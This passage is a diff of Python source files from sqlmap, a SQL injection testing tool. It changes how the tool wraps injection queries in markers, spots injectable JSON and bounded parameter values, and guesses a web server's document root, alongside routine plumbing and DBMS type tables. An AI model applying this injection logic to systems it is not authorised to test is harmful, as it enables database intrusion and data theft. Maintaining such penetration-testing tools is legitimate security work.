concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery
@@ -721,8 +721,11 @@ class Agent(object):
if conf.uFrom:
fromTable = " FROM %s" % conf.uFrom
else:
fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
elif not fromTable:
if kb.tableFrom:
fromTable = " FROM %s" % kb.tableFrom
else:
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
if query.startswith("SELECT "):
query = query[len("SELECT "):]
@@ -996,12 +999,13 @@ class Agent(object):
def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
select = re.search(r"\ASELECT\s+", expression, re.I)
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
if selectTopExpr:
if selectTopExpr or selectMinMaxExpr:
lengthExpr = lengthQuery % ("(%s)" % expression)
elif select:
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
+2 -1
View File
@@ -15,6 +15,7 @@ import os
import sys
import tempfile
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException
from lib.core.settings import BIGARRAY_CHUNK_SIZE
@@ -91,7 +92,7 @@ class BigArray(list):
def _dump(self, chunk):
try:
handle, filename = tempfile.mkstemp()
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
os.close(handle)
with open(filename, "w+b") as fp:
+162 -77
View File
@@ -72,6 +72,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OS
from lib.core.enums import PLACE
from lib.core.enums import PAYLOAD
@@ -103,6 +104,7 @@ from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
from lib.core.settings import FILE_PATH_REGEXES
from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
from lib.core.settings import FORM_SEARCH_REGEX
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
@@ -304,7 +306,7 @@ class Backend:
# Little precaution, in theory this condition should always be false
elif kb.dbms is not None and kb.dbms != dbms:
warnMsg = "there seems to be a high probability that "
warnMsg = "there appears to be a high probability that "
warnMsg += "this could be a false positive case"
logger.warn(warnMsg)
@@ -318,6 +320,8 @@ class Backend:
_ = readInput(msg, default=kb.dbms)
if aliasToDbmsEnum(_) == kb.dbms:
kb.dbmsVersion = []
kb.resolutionDbms = kb.dbms
break
elif aliasToDbmsEnum(_) == dbms:
kb.dbms = aliasToDbmsEnum(_)
@@ -581,7 +585,7 @@ def paramToDict(place, parameters=None):
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
_ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1
or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most probably leftover " % element
@@ -601,37 +605,77 @@ def paramToDict(place, parameters=None):
logger.warn(warnMsg)
if place in (PLACE.POST, PLACE.GET):
regex = r"\A([^\w]+.*\w+)([^\w]+)\Z"
match = re.search(regex, testableParameters[parameter])
if match:
_ = re.sub(regex, "\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, testableParameters[parameter])
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
match = re.search(regex, testableParameters[parameter])
if match:
try:
candidates = OrderedDict()
if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
def walk(head, current=None):
current = current or head
if isListLike(current):
for _ in current:
walk(head, _)
elif isinstance(current, dict):
for key in current.keys():
value = current[key]
if isinstance(value, (list, tuple, set, dict)):
walk(head, value)
elif isinstance(value, (bool, int, float, basestring)):
original = current[key]
if isinstance(value, bool):
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
current[key] = original
if len(conf.testParameter) > 1:
warnMsg = "provided parameters '%s' " % paramStr
warnMsg += "are not inside the %s" % place
logger.warn(warnMsg)
else:
parameter = conf.testParameter[0]
deserialized = json.loads(testableParameters[parameter])
walk(deserialized)
if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
debugMsg = "provided parameter '%s' " % paramStr
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
if candidates:
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
del testableParameters[parameter]
testableParameters.update(candidates)
break
except (KeyboardInterrupt, SqlmapUserQuitException):
raise
except Exception:
pass
elif len(conf.testParameter) != len(testableParameters.keys()):
for parameter in conf.testParameter:
if parameter not in testableParameters:
debugMsg = "provided parameter '%s' " % parameter
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
_ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
break
if conf.testParameter:
if not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
if len(conf.testParameter) > 1:
warnMsg = "provided parameters '%s' " % paramStr
warnMsg += "are not inside the %s" % place
logger.warn(warnMsg)
else:
parameter = conf.testParameter[0]
if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
debugMsg = "provided parameter '%s' " % paramStr
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
elif len(conf.testParameter) != len(testableParameters.keys()):
for parameter in conf.testParameter:
if parameter not in testableParameters:
debugMsg = "provided parameter '%s' " % parameter
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
if testableParameters:
for parameter, value in testableParameters.items():
@@ -641,7 +685,7 @@ def paramToDict(place, parameters=None):
decoded = value.decode(encoding)
if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded):
warnMsg = "provided parameter '%s' " % parameter
warnMsg += "seems to be '%s' encoded" % encoding
warnMsg += "appears to be '%s' encoded" % encoding
logger.warn(warnMsg)
break
except:
@@ -651,8 +695,6 @@ def paramToDict(place, parameters=None):
def getManualDirectories():
directories = None
pagePath = directoryPath(conf.path)
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths:
@@ -670,18 +712,18 @@ def getManualDirectories():
windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:]
absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath))
if any("/%s/" % _ in absFilePath for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES):
for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES:
_ = "/%s/" % _
for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]:
_ = "/%s/" % _
if _ in absFilePath:
directories = "%s%s" % (absFilePath.split(_)[0], _)
break
if _ in absFilePath:
directories = "%s%s" % (absFilePath.split(_)[0], _)
break
if pagePath and pagePath in absFilePath:
directories = absFilePath.split(pagePath)[0]
if windowsDriveLetter:
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
if not directories and conf.path.strip('/') and conf.path in absFilePath:
directories = absFilePath.split(conf.path)[0]
if directories and windowsDriveLetter:
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
directories = normalizePath(directories)
@@ -689,7 +731,7 @@ def getManualDirectories():
infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg)
else:
warnMsg = "unable to retrieve automatically the web server "
warnMsg = "unable to automatically retrieve the web server "
warnMsg += "document root"
logger.warn(warnMsg)
@@ -728,9 +770,14 @@ def getManualDirectories():
for suffix in BRUTE_DOC_ROOT_SUFFIXES:
for target in targets:
item = "%s/%s" % (prefix, suffix)
if not prefix.endswith("/%s" % suffix):
item = "%s/%s" % (prefix, suffix)
else:
item = prefix
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
directories.append(item)
if item not in directories:
directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break
@@ -766,11 +813,6 @@ def getAutoDirectories():
warnMsg = "unable to automatically parse any web server path"
logger.warn(warnMsg)
_ = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url) # web directory
if _:
retVal.add(_)
return list(retVal)
def filePathToSafeString(filePath):
@@ -884,7 +926,6 @@ def dataToDumpFile(dumpFile, data):
else:
raise
def dataToOutFile(filename, data):
retVal = None
@@ -892,8 +933,8 @@ def dataToOutFile(filename, data):
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
try:
with open(retVal, "w+b") as f:
f.write(data)
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
f.write(unicodeencode(data))
except IOError, ex:
errMsg = "something went wrong while trying to write "
errMsg += "to the output file ('%s')" % getSafeExString(ex)
@@ -963,9 +1004,13 @@ def readInput(message, default=None, checkBatch=True):
retVal = raw_input() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
except:
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
kb.prependFlag = True
raise SqlmapUserQuitException
try:
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
except:
pass
finally:
kb.prependFlag = True
raise SqlmapUserQuitException
finally:
logging._releaseLock()
@@ -1130,11 +1175,13 @@ def cleanQuery(query):
return retVal
def setPaths():
def setPaths(rootPath):
"""
Sets absolute paths for project directories and files
"""
paths.SQLMAP_ROOT_PATH = rootPath
# sqlmap paths
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs")
@@ -1148,7 +1195,8 @@ def setPaths():
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
paths.SQLMAP_HOME_PATH = _
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
@@ -1157,6 +1205,7 @@ def setPaths():
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
@@ -1335,8 +1384,8 @@ def parseTargetUrl():
except UnicodeError:
_ = None
if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))):
errMsg = "invalid target URL"
if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
errMsg = "invalid target URL ('%s')" % originalUrl
raise SqlmapSyntaxException(errMsg)
if len(hostnamePort) == 2:
@@ -1350,12 +1399,19 @@ def parseTargetUrl():
else:
conf.port = 80
if urlSplit.query:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if conf.port < 0 or conf.port > 65535:
errMsg = "invalid target URL's port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
if urlSplit.query:
if '=' not in urlSplit.query:
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
else:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
debugMsg = "setting the HTTP Referer header to the target URL"
logger.debug(debugMsg)
@@ -1485,7 +1541,7 @@ def parseFilePaths(page):
"""
if page:
for regex in (r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)"):
for regex in FILE_PATH_REGEXES:
for match in re.finditer(regex, page):
absFilePath = match.group("result").strip()
page = page.replace(absFilePath, "")
@@ -1861,7 +1917,7 @@ def parseXmlFile(xmlFile, handler):
with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
parse(stream, handler)
except (SAXParseException, UnicodeError), ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
@@ -1919,8 +1975,8 @@ def readCachedFileContent(filename, mode='rb'):
if filename not in kb.cache.content:
checkFile(filename)
try:
with openFile(filename, mode) as f:
kb.cache.content[filename] = f.read()
with openFile(filename, mode) as f:
kb.cache.content[filename] = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
@@ -2167,10 +2223,6 @@ def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
@@ -2182,6 +2234,9 @@ def getUnicode(value, encoding=None, noneToNull=False):
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
elif isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
else:
try:
return unicode(value)
@@ -2499,6 +2554,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg):
def getPageTemplate(payload, place): # Cross-linked function
raise NotImplementedError
@cachedmethod
def getPublicTypeMembers(type_, onlyValues=False):
"""
Useful for getting members from types (e.g. in enums)
@@ -2507,12 +2563,16 @@ def getPublicTypeMembers(type_, onlyValues=False):
['Linux', 'Windows']
"""
retVal = []
for name, value in inspect.getmembers(type_):
if not name.startswith('__'):
if not onlyValues:
yield (name, value)
retVal.append((name, value))
else:
yield value
retVal.append(value)
return retVal
def enumValueToNameLookup(type_, value_):
"""
@@ -2816,7 +2876,7 @@ def setOptimize():
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
if not conf.nullConnection:
debugMsg = "turning off --null-connection switch used indirectly by switch -o"
debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
logger.debug(debugMsg)
def initTechnique(technique=None):
@@ -3004,7 +3064,10 @@ def decodeIntToUnicode(value):
_ = "0%s" % _
raw = hexdecode(_)
if Backend.isDbms(DBMS.MSSQL):
if Backend.isDbms(DBMS.MYSQL):
# https://github.com/sqlmapproject/sqlmap/issues/1531
retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
retVal = unichr(value)
@@ -3017,6 +3080,24 @@ def decodeIntToUnicode(value):
return retVal
def checkIntegrity():
"""
Checks integrity of code files during the unhandled exceptions
"""
logger.debug("running code integrity check")
retVal = True
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
if not os.path.isfile(path):
logger.error("missing file detected '%s'" % path)
retVal = False
elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum:
logger.error("wrong checksum of file '%s' detected" % path)
retVal = False
return retVal
def unhandledExceptionMessage():
"""
Returns detailed message about occurred unhandled exception
@@ -3283,7 +3364,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "\"%s\"" % retVal.strip("\"")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.strip("\"").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U):
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
retVal = "[%s]" % retVal.strip("[]")
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
@@ -3500,6 +3581,7 @@ def randomizeParameterValue(value):
return retVal
@cachedmethod
def asciifyUrl(url, forceQuote=False):
"""
Attempts to make a unicode URL usuable with ``urllib/urllib2``.
@@ -3922,7 +4004,7 @@ def resetCookieJar(cookieJar):
content = readCachedFileContent(conf.loadCookies)
lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#')))
handle, filename = tempfile.mkstemp(prefix="sqlmapcj-")
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
os.close(handle)
# Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
@@ -3994,8 +4076,11 @@ def getRequestHeader(request, name):
"""
retVal = None
if request and name:
retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items())
_ = name.upper()
retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
return retVal
def isNumber(value):
+1 -1
View File
@@ -160,7 +160,7 @@ def htmlunescape(value):
codes = (('&lt;', '<'), ('&gt;', '>'), ('&quot;', '"'), ('&nbsp;', ' '), ('&amp;', '&'))
retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
try:
retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
except ValueError:
pass
return retVal
+2 -3
View File
@@ -8,8 +8,6 @@ See the file 'doc/COPYING' for copying permission
import copy
import types
from lib.core.exception import SqlmapDataException
class AttribDict(dict):
"""
This class defines the sqlmap object, inheriting from Python data
@@ -43,7 +41,7 @@ class AttribDict(dict):
try:
return self.__getitem__(item)
except KeyError:
raise SqlmapDataException("unable to access item '%s'" % item)
raise AttributeError("unable to access item '%s'" % item)
def __setattr__(self, item, value):
"""
@@ -93,6 +91,7 @@ class InjectionDict(AttribDict):
self.prefix = None
self.suffix = None
self.clause = None
self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888
# data is a dict with various stype, each which is a dict with
# all the information specific for that stype
+5 -2
View File
@@ -15,10 +15,13 @@ def cachedmethod(f, cache={}):
def _(*args, **kwargs):
try:
key = (f, tuple(args), frozenset(kwargs.items()))
if key not in cache:
cache[key] = f(*args, **kwargs)
except:
key = "".join(str(_) for _ in (f, args, kwargs))
if key not in cache:
cache[key] = f(*args, **kwargs)
if key not in cache:
cache[key] = f(*args, **kwargs)
return cache[key]
return _
+1 -1
View File
@@ -21,7 +21,7 @@ _defaults = {
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"torType": "HTTP",
"torType": "SOCKS5",
}
defaults = AttribDict(_defaults)
+229 -180
View File
@@ -21,219 +21,268 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
14: "CHAR",
40: "CSTRING",
11: "D_FLOAT",
27: "DOUBLE",
10: "FLOAT",
16: "INT64",
8: "INTEGER",
9: "QUAD",
7: "SMALLINT",
12: "DATE",
13: "TIME",
35: "TIMESTAMP",
37: "VARCHAR",
}
261: "BLOB",
14: "CHAR",
40: "CSTRING",
11: "D_FLOAT",
27: "DOUBLE",
10: "FLOAT",
16: "INT64",
8: "INTEGER",
9: "QUAD",
7: "SMALLINT",
12: "DATE",
13: "TIME",
35: "TIMESTAMP",
37: "VARCHAR",
}
INFORMIX_TYPES = {
0: "CHAR",
1: "SMALLINT",
2: "INTEGER",
3: "FLOAT",
4: "SMALLFLOAT",
5: "DECIMAL",
6: "SERIAL",
7: "DATE",
8: "MONEY",
9: "NULL",
10: "DATETIME",
11: "BYTE",
12: "TEXT",
13: "VARCHAR",
14: "INTERVAL",
15: "NCHAR",
16: "NVARCHAR",
17: "INT8",
18: "SERIAL8",
19: "SET",
20: "MULTISET",
21: "LIST",
22: "ROW (unnamed)",
23: "COLLECTION",
40: "Variable-length opaque type",
41: "Fixed-length opaque type",
43: "LVARCHAR",
45: "BOOLEAN",
52: "BIGINT",
53: "BIGSERIAL",
2061: "IDSSECURITYLABEL",
4118: "ROW (named)",
}
SYBASE_TYPES = {
14: "floatn",
8: "float",
15: "datetimn",
12: "datetime",
23: "real",
28: "numericn",
10: "numeric",
27: "decimaln",
26: "decimal",
17: "moneyn",
11: "money",
21: "smallmoney",
22: "smalldatetime",
13: "intn",
7: "int",
6: "smallint",
5: "tinyint",
16: "bit",
2: "varchar",
18: "sysname",
25: "nvarchar",
1: "char",
24: "nchar",
4: "varbinary",
80: "timestamp",
3: "binary",
19: "text",
20: "image",
}
14: "floatn",
8: "float",
15: "datetimn",
12: "datetime",
23: "real",
28: "numericn",
10: "numeric",
27: "decimaln",
26: "decimal",
17: "moneyn",
11: "money",
21: "smallmoney",
22: "smalldatetime",
13: "intn",
7: "int",
6: "smallint",
5: "tinyint",
16: "bit",
2: "varchar",
18: "sysname",
25: "nvarchar",
1: "char",
24: "nchar",
4: "varbinary",
80: "timestamp",
3: "binary",
19: "text",
20: "image",
}
MYSQL_PRIVS = {
1: "select_priv",
2: "insert_priv",
3: "update_priv",
4: "delete_priv",
5: "create_priv",
6: "drop_priv",
7: "reload_priv",
8: "shutdown_priv",
9: "process_priv",
10: "file_priv",
11: "grant_priv",
12: "references_priv",
13: "index_priv",
14: "alter_priv",
15: "show_db_priv",
16: "super_priv",
17: "create_tmp_table_priv",
18: "lock_tables_priv",
19: "execute_priv",
20: "repl_slave_priv",
21: "repl_client_priv",
22: "create_view_priv",
23: "show_view_priv",
24: "create_routine_priv",
25: "alter_routine_priv",
26: "create_user_priv",
}
1: "select_priv",
2: "insert_priv",
3: "update_priv",
4: "delete_priv",
5: "create_priv",
6: "drop_priv",
7: "reload_priv",
8: "shutdown_priv",
9: "process_priv",
10: "file_priv",
11: "grant_priv",
12: "references_priv",
13: "index_priv",
14: "alter_priv",
15: "show_db_priv",
16: "super_priv",
17: "create_tmp_table_priv",
18: "lock_tables_priv",
19: "execute_priv",
20: "repl_slave_priv",
21: "repl_client_priv",
22: "create_view_priv",
23: "show_view_priv",
24: "create_routine_priv",
25: "alter_routine_priv",
26: "create_user_priv",
}
PGSQL_PRIVS = {
1: "createdb",
2: "super",
3: "catupd",
}
1: "createdb",
2: "super",
3: "catupd",
}
# Reference(s): http://stackoverflow.com/a/17672504
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
FIREBIRD_PRIVS = {
"S": "SELECT",
"I": "INSERT",
"U": "UPDATE",
"D": "DELETE",
"R": "REFERENCE",
"E": "EXECUTE",
"X": "EXECUTE",
"A": "ALL",
"M": "MEMBER",
"T": "DECRYPT",
"E": "ENCRYPT",
"B": "SUBSCRIBE",
}
"S": "SELECT",
"I": "INSERT",
"U": "UPDATE",
"D": "DELETE",
"R": "REFERENCE",
"E": "EXECUTE",
"X": "EXECUTE",
"A": "ALL",
"M": "MEMBER",
"T": "DECRYPT",
"E": "ENCRYPT",
"B": "SUBSCRIBE",
}
# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm
# https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm
INFORMIX_PRIVS = {
"D": "DBA (all privileges)",
"R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)",
"C": "CONNECT (work with existing tables)",
"G": "ROLE",
"U": "DEFAULT (implicit connection)",
}
DB2_PRIVS = {
1: "CONTROLAUTH",
2: "ALTERAUTH",
3: "DELETEAUTH",
4: "INDEXAUTH",
5: "INSERTAUTH",
6: "REFAUTH",
7: "SELECTAUTH",
8: "UPDATEAUTH",
}
1: "CONTROLAUTH",
2: "ALTERAUTH",
3: "DELETEAUTH",
4: "INDEXAUTH",
5: "INSERTAUTH",
6: "REFAUTH",
7: "SELECTAUTH",
8: "UPDATEAUTH",
}
DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
DBMS_DICT = {
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
}
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
